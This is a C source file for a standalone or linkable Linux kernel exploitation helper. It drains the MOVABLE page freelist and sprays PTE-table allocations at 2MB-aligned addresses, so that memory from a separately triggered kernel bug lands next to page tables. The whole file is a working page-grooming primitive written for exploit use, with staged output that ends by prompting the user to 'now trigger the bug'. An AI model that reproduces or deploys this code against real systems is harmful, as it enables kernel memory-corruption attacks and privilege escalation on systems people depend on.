/*
 * Generic MOVABLE → UNMOVABLE pageblock-fallback drain tool.
 *
 * Forces MOVABLE freelist exhaustion so subsequent MOVABLE allocations fall
 * back to UNMOVABLE pageblocks. Combined with PMD-distinct VMA allocation,
 * this places attacker-driven order-0 page allocations physically adjacent
 * to PTE tables (which are also UNMOVABLE).
 *
 * Usage as library: link against this file, call drain_movable() before the
 * bug-trigger phase. Or invoke standalone: ./drain_and_groom <drain_pages> <vma_count>
 *
 * Build: gcc -O2 -o drain_and_groom drain_and_groom.c
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdint.h>

#define PMD_SIZE   (2UL * 1024 * 1024)

static void **drain_pages_ptr;
static int drain_count;
static void **vma_pages;
static int vma_count;

/* Drain the MOVABLE order-0 freelist. Returns # pages successfully grabbed. */
int drain_movable(int target_pages) {
    drain_pages_ptr = calloc(target_pages, sizeof(void*));
    if (!drain_pages_ptr) return 0;

    /* Bump fd limit if needed (mmap doesn't need fds, but other things might) */
    struct rlimit rl = {.rlim_cur = 65536, .rlim_max = 65536};
    setrlimit(RLIMIT_NOFILE, &rl);

    int got = 0;
    for (int i = 0; i < target_pages; i++) {
        void *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
        if (p == MAP_FAILED) break;
        /* Force the page into our process's page table — this also
         * triggers a PTE table allocation if at a fresh PMD slot */
        *(volatile char *)p = 1;
        drain_pages_ptr[i] = p;
        got++;
    }
    drain_count = got;
    return got;
}

/* Allocate K PMD-distinct VMAs to force K PTE table allocations.
 * Each VMA is at a unique 2MB-aligned virtual address.
 * Returns # PTE table pages allocated. */
int spray_pte_tables(int k, uintptr_t base) {
    vma_pages = calloc(k, sizeof(void*));
    if (!vma_pages) return 0;
    int got = 0;
    for (int i = 0; i < k; i++) {
        uintptr_t va = base + (uintptr_t)i * PMD_SIZE;
        void *p = mmap((void*)va, 4096, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE | MAP_POPULATE,
                       -1, 0);
        if (p == MAP_FAILED) {
            if (errno != EEXIST) break;
            continue;
        }
        /* Touch first page to ensure the PTE table page is allocated */
        *(volatile char *)p = 0xAA + (i & 0xff);
        vma_pages[i] = p;
        got++;
    }
    vma_count = got;
    return got;
}

/* Read /proc/pagetypeinfo for MOVABLE/UNMOVABLE state.
 * Returns 0 on success; -1 if can't read (unprivileged). */
int read_pagetypeinfo(int *movable_o0, int *unmovable_o0) {
    FILE *f = fopen("/proc/pagetypeinfo", "r");
    if (!f) return -1;
    char line[1024];
    int found_movable = 0, found_unmovable = 0;
    while (fgets(line, sizeof(line), f)) {
        /* Match lines like:
         * Node 0, zone Normal, type Movable    658    165    5  ...  */
        if (strstr(line, "zone   Normal, type      Movable") && !found_movable) {
            char *p = strstr(line, "Movable");
            if (p) sscanf(p + 7, "%d", movable_o0);
            found_movable = 1;
        } else if (strstr(line, "zone   Normal, type    Unmovable") && !found_unmovable) {
            char *p = strstr(line, "Unmovable");
            if (p) sscanf(p + 9, "%d", unmovable_o0);
            found_unmovable = 1;
        }
    }
    fclose(f);
    return (found_movable && found_unmovable) ? 0 : -1;
}

#ifdef STANDALONE
int main(int argc, char *argv[]) {
    int drain_n = (argc > 1) ? atoi(argv[1]) : 2000;
    int vmas_n = (argc > 2) ? atoi(argv[2]) : 256;
    uintptr_t base = 0x200000000UL;

    int mo0 = -1, uo0 = -1;
    if (read_pagetypeinfo(&mo0, &uo0) == 0)
        fprintf(stderr, "[init] pagetypeinfo: MOVABLE.o0=%d UNMOVABLE.o0=%d\n", mo0, uo0);
    else
        fprintf(stderr, "[init] pagetypeinfo not readable (need root)\n");

    fprintf(stderr, "[stage1] draining %d MOVABLE pages...\n", drain_n);
    int got = drain_movable(drain_n);
    fprintf(stderr, "[stage1] drained %d pages\n", got);

    if (read_pagetypeinfo(&mo0, &uo0) == 0)
        fprintf(stderr, "[mid] pagetypeinfo: MOVABLE.o0=%d UNMOVABLE.o0=%d\n", mo0, uo0);

    fprintf(stderr, "[stage2] spraying %d PMD-distinct VMAs (PTE tables)...\n", vmas_n);
    int sprayed = spray_pte_tables(vmas_n, base);
    fprintf(stderr, "[stage2] sprayed %d VMAs\n", sprayed);

    if (read_pagetypeinfo(&mo0, &uo0) == 0)
        fprintf(stderr, "[done] pagetypeinfo: MOVABLE.o0=%d UNMOVABLE.o0=%d\n", mo0, uo0);

    fprintf(stderr, "[ready] now trigger the bug; its MOVABLE alloc will fall back to UNMOVABLE.\n");
    fprintf(stderr, "[ready] PTE tables sprayed at base=0x%lx, stride=0x%lx, count=%d\n",
            base, PMD_SIZE, sprayed);
    fprintf(stderr, "Press enter to release...\n");
    getchar();
    return 0;
}
#endif